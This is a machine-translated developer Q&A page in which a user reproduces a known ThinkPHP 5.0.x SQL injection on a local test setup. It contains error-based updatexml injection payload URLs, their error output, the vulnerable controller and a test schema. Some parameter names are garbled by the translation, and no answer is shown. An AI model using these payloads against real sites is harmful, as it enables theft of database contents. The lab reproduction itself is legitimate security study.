php - thinkphp5.0.x调试中的sql_injection漏洞
问题描述
我正在重新创建一个关于的 sql 注入漏洞thinkphp5.0.x
我已经可以得到version()
但是我不能得到字段内容,它说:
SQLSTATE[HY000]: General error: 1105 Only constant XPATH queries are supported`
为什么?</p>
思考php 5.0.15
php 7.2
payload1: http:
//127.0.0.1/thinkphp5.0.15/public/index.php/index/index/index?password[0]=inc&password[1]=updatexml(1,concat(0x7e,version(),0x7e) ,1)&密码[2]=1
回声1:
SQLSTATE[HY000]:一般错误:1105 XPATH 语法错误:'~5.5.53~'
payload2: http:
//127.0.0.1/thinkphp5.0.15/public/index.php/index/index/index ?password[0]=inc&password[1]=updatexml(1,concat(0x7e,(select%20username%20from %20用户限制 0,1),0x7e),1)&密码[2]=1
回声2:
SQLSTATE [HY000]:一般错误:1105 仅支持常量 XPATH 查询,但它在 mysql 中的回显是正确的:mysql> INSERT INTO
user
(password
) VALUES (updatexml(1,concat(0x7e,(select username from user limit 0,1)) ,1)+1); 错误 1105 (HY000): XPATH 语法错误: '~test'
//index.php
<?php
namespace app\index\controller;
use think\Db;
class Index
{
public function index()
{
$password = input("get.password/a");
Db::table("user")->where(["id"=>1])->insert(["password"=>$password]);
return "ThinkPHP SQL Test.";
}
}
//mysql.sql
# Host: localhost (Version: 5.5.53)
# Date: 2019-07-15 10:10:05
# Generator: MySQL-Front 5.3 (Build 4.234)
/*!40101 SET NAMES utf8 */;
create database thinkphp;
use thinkphp;
#
# Structure for table "user"
#
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(50) DEFAULT NULL,
`password` varchar(50) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
#
# Data for table "user"
#
INSERT INTO `user` VALUES (1,'test','password');
我希望输出是 SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~test'
解决方案
推荐阅读
- angular - Ionic 4 编译失败(角度 6)
- python - 如何使用 plotly 在气泡图上添加文本
- android - 平板电脑中的多桌面 (Android)
- android - 在android中调用videoview.seekTo()时无法播放视频流
- python - 无法设置字体大小和 rtl
- matlab - 使用 KNN 在 2D 中减小矩阵大小
- sql - 用分层数据类型查询表的更有效的 T-SQL 方法是什么
- c - 多项式操作
- asp.net - 为什么 DateTime.Now.TimeOfDay 不能作为手动时间设置?
- loops - 将现有文件分成多个文件,分别包含特定字段